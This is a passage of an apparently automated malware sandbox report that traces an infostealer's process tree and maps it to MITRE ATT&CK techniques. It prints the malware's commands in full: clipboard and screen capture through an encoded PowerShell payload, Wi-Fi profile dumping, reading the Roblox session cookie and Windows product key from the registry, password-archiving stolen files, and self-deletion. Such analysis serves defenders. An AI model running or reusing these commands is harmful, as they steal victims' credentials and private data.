      Clipboard Data
      PID:4124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Clipboard Data
        Suspicious use of AdjustPrivilegeToken
        
        PID:4732
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:2204
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4500
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4888
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:2912
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:2916
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      PID:3220
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:2460
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
      4⤵
      PID:1036
    - - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        5⤵
        
        PID:2692
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
      4⤵
      PID:1516
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4688
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\odl2qg5n\odl2qg5n.cmdline"
        6⤵
        
        PID:3796
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9D59.tmp" "c:\Users\Admin\AppData\Local\Temp\odl2qg5n\CSC2F7D2FD4C94445E087F973974C43ED18.TMP"
        7⤵
        
        PID:3036
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:5108
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:3652
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:3372
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4808
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:2040
    - - C:\Windows\system32\attrib.exe
        
        attrib -r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:3164
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:2648
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:876
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
      4⤵
      PID:2676
    - - C:\Windows\system32\attrib.exe
        
        attrib +r C:\Windows\System32\drivers\etc\hosts
        5⤵
        Drops file in Drivers directory
        Views/modifies file attributes
        
        PID:4428
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:1912
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      PID:628
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2224
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      PID:4236
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:3620
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:4360
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1400
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
      4⤵
      PID:460
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1020
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "getmac"
      4⤵
      PID:3376
    - - C:\Windows\system32\getmac.exe
        
        getmac
        5⤵
        
        PID:3008
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI7482\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\2qKVl.zip" *"
      4⤵
      PID:2432
    - - C:\Users\Admin\AppData\Local\Temp\_MEI7482\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI7482\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\2qKVl.zip" *
        5⤵
        Executes dropped EXE
        
        PID:1820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic os get Caption"
      4⤵
      PID:2584
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
      4⤵
      PID:1520
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        5⤵
        
        PID:2896
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
      4⤵
      PID:2168
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        5⤵
        
        PID:2076
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
      4⤵
      PID:3720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4536
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
      4⤵
      PID:4708
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        wmic path win32_VideoController get name
        5⤵
        Detects videocard installed
        
        PID:3088
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
      4⤵
      PID:2504
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
        5⤵
        
        PID:2860
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "c:\users\admin\appdata\local\temp\drver1.exe ""
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      PID:2696
    - - C:\Windows\system32\PING.EXE
        
        ping localhost -n 3
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2856
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3232
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Executes dropped EXE
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1628
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visiblity of hidden/system files in Explorer
        Executes dropped EXE
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3976
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:5116

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery